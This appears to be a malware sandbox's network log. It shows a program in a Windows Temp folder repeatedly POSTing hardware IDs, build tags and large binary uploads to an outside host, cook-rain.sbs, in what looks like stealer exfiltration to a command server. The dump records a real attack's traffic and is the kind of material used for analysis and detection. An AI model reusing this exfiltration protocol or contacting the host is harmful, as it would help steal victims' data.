2024-11-21 13:11:51 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=03NQU612SF6I24MN User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12853 Host: cook-rain.sbs
2024-11-21 13:11:51 UTC	12853	OUT	Data Raw: 2d 2d 30 33 4e 51 55 36 31 32 53 46 36 49 32 34 4d 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 35 36 31 31 46 36 36 39 38 36 45 35 34 37 30 34 41 46 46 35 41 44 45 43 39 45 36 42 44 37 37 0d 0a 2d 2d 30 33 4e 51 55 36 31 32 53 46 36 49 32 34 4d 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 30 33 4e 51 55 36 31 32 53 46 36 49 32 34 4d 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 Data Ascii: --03NQU612SF6I24MNContent-Disposition: form-data; name="hwid"85611F66986E54704AFF5ADEC9E6BD77--03NQU612SF6I24MNContent-Disposition: form-data; name="pid"2--03NQU612SF6I24MNContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic
2024-11-21 13:11:52 UTC	993	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:11:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=htfm8c4dtm7fhoc2uj887l34pg; expires=Mon, 17-Mar-2025 06:58:31 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BiS8TmkF08gOle683N7Hahi%2BzESW54n7Y%2Fiw%2FYdpq28LnO5J8YhuzgvH6LL6MwyhRbzYHsScyZjuXvguK3ShLObOZHoUF%2FnNDKRi1tmL%2FETr35TZuOP%2BNU1rPUHJsHnQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e60ed94df88430a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1605&sent=10&recv=17&lost=0&retrans=0&sent_bytes=2830&recv_bytes=13788&delivery_rate=1775075&cwnd=234&unsent_bytes=0&cid=2daa340fc9608014&ts=1280&x=0"
2024-11-21 13:11:52 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-21 13:11:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	50004	188.114.97.3	443	4608	C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:11:51 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: cook-rain.sbs
2024-11-21 13:11:51 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 38 35 36 31 31 46 36 36 39 38 36 45 35 34 37 30 34 41 46 46 35 41 44 45 43 39 45 36 42 44 37 37 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=85611F66986E54704AFF5ADEC9E6BD77
2024-11-21 13:11:52 UTC	980	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:11:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ttn1bekh2dtutmuiot57vi4vla; expires=Mon, 17-Mar-2025 06:58:31 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DVMuJ6mAviHLPWJQCUh0bIl57T1fzzThpm2hM5XzGRchSnYrrMF%2BqaJSKZkQmMqDREtVRCCERq2aq0NMapajupdr5XSonft61J3H%2F%2BjcCWMMIuioielXhW8yqeOsTYNZ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e60ed979cc84265-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1630&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2830&recv_bytes=985&delivery_rate=1755862&cwnd=205&unsent_bytes=0&cid=d78e57ba575e84b0&ts=775&x=0"
2024-11-21 13:11:52 UTC	214	IN	Data Raw: 64 30 0d 0a 62 46 48 4a 76 30 57 39 70 51 33 31 4c 68 78 37 61 5a 64 77 52 56 4f 4b 59 75 4b 67 48 61 70 4f 38 4b 56 35 51 4f 75 62 4a 4a 41 33 4b 75 76 4b 5a 34 65 48 5a 59 46 61 62 45 45 31 75 43 78 71 59 72 4a 58 7a 4a 49 73 6e 32 44 42 6c 45 70 75 32 71 31 34 76 77 4d 33 72 2b 4e 71 32 63 42 72 32 30 74 6b 48 6b 75 37 55 69 4d 6e 71 46 6a 53 6a 44 2f 50 62 4d 71 55 42 47 79 51 75 56 47 79 56 6e 4f 68 79 7a 48 4e 6e 31 48 61 63 6a 4e 4b 55 61 4a 65 64 32 4b 2f 54 4e 4f 52 4c 6f 52 2f 78 76 6c 57 4d 35 2f 2b 52 66 30 77 66 72 76 65 4b 39 6e 4b 59 4e 74 4c 5a 42 35 4c 75 31 49 6a 4a 36 68 59 30 6f 77 2f 7a 32 7a 4b 6c 51 51 64 0d 0a Data Ascii: d0bFHJv0W9pQ31Lhx7aZdwRVOKYuKgHapO8KV5QOubJJA3KuvKZ4eHZYFabEE1uCxqYrJXzJIsn2DBlEpu2q14vwM3r+Nq2cBr20tkHku7UiMnqFjSjD/PbMqUBGyQuVGyVnOhyzHNn1HacjNKUaJed2K/TNORLoR/xvlWM5/+Rf0wfrveK9nKYNtLZB5Lu1IjJ6hY0ow/z2zKlQQd
2024-11-21 13:11:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	50017	188.114.97.3	443	1408	C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:11:55 UTC	269	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=PI2K59M6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15051 Host: cook-rain.sbs
2024-11-21 13:11:55 UTC	15051	OUT	Data Raw: 2d 2d 50 49 32 4b 35 39 4d 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 35 36 31 31 46 36 36 39 38 36 45 35 34 37 30 34 41 46 46 35 41 44 45 43 39 45 36 42 44 37 37 0d 0a 2d 2d 50 49 32 4b 35 39 4d 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 50 49 32 4b 35 39 4d 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 50 49 32 4b 35 39 4d 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 Data Ascii: --PI2K59M6Content-Disposition: form-data; name="hwid"85611F66986E54704AFF5ADEC9E6BD77--PI2K59M6Content-Disposition: form-data; name="pid"2--PI2K59M6Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--PI2K59M6Content-Di
2024-11-21 13:11:56 UTC	987	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:11:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=nidrg5gbjukbrh6o2sukv891tu; expires=Mon, 17-Mar-2025 06:58:35 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lxrp5kwqMKZUpysbUa4H6sFU%2BfyqBZslk%2FOri1EZ0l89ZgwZZCG139GGBSJPeC0NucvR4iiIivIdC1ukqXY70Gt9OMIKP2D9G4Snc6o59t7%2BX8Cnc8iLwjHI5e0K9%2FW0"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e60edac28eb42f1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1784&sent=11&recv=18&lost=0&retrans=0&sent_bytes=2830&recv_bytes=15978&delivery_rate=1583514&cwnd=195&unsent_bytes=0&cid=50d28a426809bf08&ts=1145&x=0"
2024-11-21 13:11:56 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-21 13:11:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	50041	188.114.97.3	443	1408	C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:12:00 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=XNVK1R3S3F1VQ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19939 Host: cook-rain.sbs
2024-11-21 13:12:00 UTC	15331	OUT	Data Raw: 2d 2d 58 4e 56 4b 31 52 33 53 33 46 31 56 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 35 36 31 31 46 36 36 39 38 36 45 35 34 37 30 34 41 46 46 35 41 44 45 43 39 45 36 42 44 37 37 0d 0a 2d 2d 58 4e 56 4b 31 52 33 53 33 46 31 56 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 58 4e 56 4b 31 52 33 53 33 46 31 56 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 58 4e 56 4b 31 Data Ascii: --XNVK1R3S3F1VQContent-Disposition: form-data; name="hwid"85611F66986E54704AFF5ADEC9E6BD77--XNVK1R3S3F1VQContent-Disposition: form-data; name="pid"3--XNVK1R3S3F1VQContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--XNVK1
2024-11-21 13:12:00 UTC	4608	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 e3 5f de a8 de f8 f4 8d d8 f5 6f 86 49 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: +?2+?2+?o?Mp5p_oI
2024-11-21 13:12:01 UTC	983	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:12:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0kqaeoe3r9ljoh23sdui0op85m; expires=Mon, 17-Mar-2025 06:58:39 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hAWlrtnKqjVgI6ZqrigmyGqaFP25Quoc7005cec4%2B0ff4iACCTMuz1%2FNjOlXrpmKqIqDl6qYb6NXli0aWMkWx8hQU4DCpsuSbzL5oewAr4cPDxKxbEulvGvvdcyZgvNj"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e60edcb7cc543b2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1672&sent=16&recv=24&lost=0&retrans=0&sent_bytes=2829&recv_bytes=20893&delivery_rate=1806930&cwnd=245&unsent_bytes=0&cid=2fea1122b84ff9db&ts=1039&x=0"
2024-11-21 13:12:01 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-21 13:12:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	50064	188.114.97.3	443	1408	C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:12:04 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=QMJ8OIGYAYQ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1249 Host: cook-rain.sbs
2024-11-21 13:12:04 UTC	1249	OUT	Data Raw: 2d 2d 51 4d 4a 38 4f 49 47 59 41 59 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 35 36 31 31 46 36 36 39 38 36 45 35 34 37 30 34 41 46 46 35 41 44 45 43 39 45 36 42 44 37 37 0d 0a 2d 2d 51 4d 4a 38 4f 49 47 59 41 59 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 51 4d 4a 38 4f 49 47 59 41 59 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 51 4d 4a 38 4f 49 47 59 41 59 51 Data Ascii: --QMJ8OIGYAYQContent-Disposition: form-data; name="hwid"85611F66986E54704AFF5ADEC9E6BD77--QMJ8OIGYAYQContent-Disposition: form-data; name="pid"1--QMJ8OIGYAYQContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--QMJ8OIGYAYQ
2024-11-21 13:12:05 UTC	984	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:12:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=he6lirta703074t33pj5bsnbbc; expires=Mon, 17-Mar-2025 06:58:44 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2Fm7FDO9LqDoguv3VzyW%2F%2BWDdfArXNll5hnoI9YzXLParxXQkaMpipx%2FlF954DT2kWud8wqUCacQiPo7fTBs513hmTwNaTIGJ2bgrM%2FvcEZSqfmmPXk62Og5KHH7BzZ4W"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e60ede7ccb0437f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2110&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2829&recv_bytes=2156&delivery_rate=1325465&cwnd=77&unsent_bytes=0&cid=d60c5055bf7f7ac3&ts=764&x=0"
2024-11-21 13:12:05 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-21 13:12:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.6	50080	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:12:10 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=WU3YWGI556NLFB5NH User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 549585 Host: cook-rain.sbs
2024-11-21 13:12:10 UTC	15331	OUT	Data Raw: 2d 2d 57 55 33 59 57 47 49 35 35 36 4e 4c 46 42 35 4e 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 35 36 31 31 46 36 36 39 38 36 45 35 34 37 30 34 41 46 46 35 41 44 45 43 39 45 36 42 44 37 37 0d 0a 2d 2d 57 55 33 59 57 47 49 35 35 36 4e 4c 46 42 35 4e 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 57 55 33 59 57 47 49 35 35 36 4e 4c 46 42 35 4e 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 Data Ascii: --WU3YWGI556NLFB5NHContent-Disposition: form-data; name="hwid"85611F66986E54704AFF5ADEC9E6BD77--WU3YWGI556NLFB5NHContent-Disposition: form-data; name="pid"1--WU3YWGI556NLFB5NHContent-Disposition: form-data; name="lid"LOGS11--LiveTraf
2024-11-21 13:12:10 UTC	15331	OUT	Data Raw: 84 1d f3 6f d1 f3 e4 9d b1 e5 dd bc ee 6e 17 bb 70 5f 56 35 de 03 ef fa 23 49 80 1c c8 b5 31 35 f9 32 f9 86 e5 c2 02 fa 15 3a 26 d3 ca 14 92 6d d3 d8 77 56 02 61 e8 3c ac b5 67 b9 86 8d 91 8f db 07 24 d3 7e 55 ba 0d 57 0a 7e 7a 8b 8c 70 d9 10 31 81 fb 69 76 2e c7 33 ea 4f 56 ac f9 fe d8 54 e9 06 cb 39 9d 66 8a 5f 52 d8 a5 5f bc 4d aa ad 12 da 0b e0 c6 44 6f c2 94 81 94 e0 d5 a8 e6 6a 4d c4 4c 61 23 b4 79 09 cc 22 b7 46 a3 88 9d ad 0d c2 ea 27 5d 92 32 8b a6 fd b2 46 7d 29 75 0f 57 4e 7e 3e 01 92 d3 c3 b8 d4 e7 a0 ef 59 91 6e 83 8c 7b 60 81 ab 3e 56 8d 3e 2b 09 be b3 4b 39 ff ce b1 d6 ad f4 c0 2b de 25 bd 32 f0 9a 7f 53 b1 11 96 3f cd b7 a9 29 8f ee d2 82 6b 03 f6 45 43 0c 34 6b 26 a9 56 67 84 90 6f 07 36 7f a3 4c 49 e0 d9 fc 85 0b ec e7 63 9d 13 06 9a df Data Ascii: onp_V5#I152:&mwVa<g$~UW~zp1iv.3OVT9f_R_MDojMLa#y"F']2F})uWN~>Yn{`>V>+K9+%2S?)kEC4k&Vgo6LIc
2024-11-21 13:12:10 UTC	15331	OUT	Data Raw: 23 55 bf f5 b9 64 a1 fd 76 e5 5e db 8a 7b 4e b3 11 1c b9 b4 bc 7b 7e 3e 3d f1 1e 03 61 f9 0f 14 d3 47 3c 58 7c 32 5a d2 09 4b 71 cb b6 4d c1 3f 95 b3 c1 b7 66 1f ec c4 a7 be 50 d7 c7 aa 8e d0 8a 0d 67 4b 86 06 b5 be f0 3c a9 40 1c 08 89 99 fe fe 35 cb 03 38 14 d8 47 44 f4 11 cf 1a 4b 78 08 34 a5 50 31 0f b7 83 83 04 17 c6 98 1f e7 c2 3e c9 f1 6c bb e5 7e b3 d3 86 46 c4 5e 39 10 0a b1 92 ca 6f 2c b4 0d 19 2f 62 89 8a c1 31 1a ad 7b 64 2e 01 8b 37 3b be f3 87 a7 f5 bb 3f 18 b7 d7 6e 18 4d 17 77 db 3e b7 f5 f8 aa 31 5d cb 6a a9 7d e3 33 a4 a1 42 23 63 e1 ee 41 96 ca 34 23 af 4a bb 9a 5e 1f fd 3d 2f 68 de 79 fa a9 63 da d3 e0 11 69 f1 37 56 b6 be 56 db b5 36 5b d7 11 94 51 5a e3 27 71 c7 7d 6f 62 48 ed 71 60 66 40 31 c2 0d c3 80 b8 76 a2 54 f7 b9 3e 7b f3 b5 Data Ascii: #Udv^{N{~>=aG<X\|2ZKqM?fPgK<@58GDKx4P1>l~F^9o,/b1{d.7;?nMw>1]j}3B#cA4#J^=/hyci7VV6[QZ'q}obHq`f@1vT>{
2024-11-21 13:12:10 UTC	15331	OUT	Data Raw: 41 49 9f a6 49 d6 ca d9 d5 71 01 03 6f 05 d4 6b e5 6d 9d 47 f3 38 10 f2 f9 80 30 ea 2a 70 bb f3 7b f7 ef ff ff e1 e6 09 20 5f 1c af f9 13 a2 64 e9 a5 22 a1 0c 21 e6 ad 34 90 e8 ef 7f eb 5e 16 e2 50 24 b2 e7 92 e2 b0 fa 37 40 d8 4b b4 c4 bc c4 12 bf 4c ca 2d 70 83 33 3f a1 25 af 5d 42 71 e5 dc d0 0e 11 d6 8f a0 36 18 e9 89 01 ca 7d 27 e6 a6 8a 2c f5 e6 92 8a 56 91 e8 1c bf fc 32 9c 64 68 b0 f0 0d ef 56 2a 40 db 87 b1 ee ff 8e 8a 71 e6 65 4e 6d 64 1e ce 7f bd de dd 0a 5c 3c df 4a 80 f0 a2 53 e1 4b ed 79 bf 32 ee dd 68 63 db 76 0a d8 f6 7b b2 65 7b 52 84 8c 93 8d a6 22 9d 0d 49 32 59 f2 45 25 80 55 16 79 d1 17 b7 69 24 b4 30 5d be a0 28 71 4a c6 c2 26 c4 93 e7 50 4e cb 04 c8 c5 e7 c7 23 f8 8d 63 49 b3 db a7 df ec e3 d4 a2 4a db 3d c1 33 da d7 c6 ec dc a0 c4 Data Ascii: AIIqokmG80p{ _d"!4^P$7@KL-p3?%]Bq6}',V2dhV@qeNmd\<JSKy2hcv{e{R"I2YE%Uyi$0](qJ&PN#cIJ=3
2024-11-21 13:12:10 UTC	15331	OUT	Data Raw: b6 f0 7e d2 08 fb 78 d1 11 a2 14 22 4c d2 f4 b6 be 7b 97 f9 eb 8d 15 22 0b 69 db 71 cc a8 e0 1b 27 b2 70 c1 15 b5 32 84 d8 2c 5c 4c 19 bd ee 33 e9 d8 d8 d2 65 88 90 f3 0e 9d 36 2f 5d 6b 8d 27 b9 c3 06 35 99 d3 d1 8f ea 90 90 cf c3 33 37 48 a4 d6 6b f3 91 93 bd 12 5a 24 1b 12 3d 39 45 84 2d 52 7b 76 01 13 f0 da 3f 82 3a bd 67 f6 a1 96 b0 a9 c1 5a ef 4d c1 cd 9d d6 dd e3 9d ce 1d 7a 89 20 d8 2a 15 66 2b 73 1b be 21 92 4b 8e 0d 59 38 44 1c 6d 71 68 dc 0d a2 f4 a5 5a b7 76 aa cd 29 20 96 75 a1 3f b1 7f fa a5 0e f8 d1 db 10 a3 ca 79 2f a3 d4 14 9b f0 4c 75 d1 97 27 39 36 8b f6 2d 52 9f 49 6a d7 67 7f fe 53 48 cd 78 89 5a b3 7e d7 71 c3 32 a5 54 34 bd bd a1 84 77 3e 8d 3a 75 c5 2e 71 de 8f d7 90 b7 57 2a d0 3a 20 92 b2 4c 5c f5 2a d1 df 9e b8 7c 85 77 ef 6a d5 Data Ascii: ~x"L{"iq'p2,\L3e6/]k'537HkZ$=9E-R{v?:gZMz f+s!KY8DmqhZv) u?y/Lu'96-RIjgSHxZ~q2T4w>:u.qW: L\*\|wj
2024-11-21 13:12:10 UTC	15331	OUT	Data Raw: 99 6f ea 85 91 a3 00 88 90 ff 65 57 09 02 23 07 c1 cd e7 15 9b 04 b0 2c 0b 02 57 24 50 79 b8 03 34 b1 a9 86 9a ad aa e9 64 82 74 5c 27 1d 6d e5 63 2f 4c a6 b0 ee f4 42 43 16 89 38 1d f7 e0 e8 8d 1b bd 08 40 ba aa 75 6f 88 72 4c 95 38 59 c2 a6 30 5b 99 e0 50 20 0b b6 0e 0c c7 40 b9 02 e0 4b 76 57 d1 6a 3a a4 ef 0c 58 e2 a4 24 34 2a 37 ad 11 c4 ca 8b 02 f9 3f 2f 71 f2 40 96 19 fb e4 67 ec 14 0e 36 6b c7 81 7c 7d 54 74 b2 95 81 43 a9 50 e0 50 44 6e 1a 5f 34 72 18 8d 99 b5 ae a1 cd 91 16 6c e1 46 1e 62 27 60 63 3b 0f 7c cc d7 a8 76 39 8b bc 20 00 ff b2 cc ad 4d ae ba c4 29 f9 88 3d 4d 17 16 bb 2c 10 f3 7d 74 e7 cc e5 67 96 f2 bd 17 a6 ec d1 b1 bc 19 4d 53 6a a6 ac 7e ba 06 e6 3f af d5 bd 37 81 8f fd 80 68 72 2b a8 9b ad 6b bc e6 32 88 77 c7 c2 1b d9 7d f7 dc Data Ascii: oeW#,W$Py4dt\'mc/LBC8@uorL8Y0[P @KvWj:X$4*7?/q@g6k\|}TtCPPDn_4rlFb'`c;\|v9 M)=M,}tgMSj~?7hr+k2w}
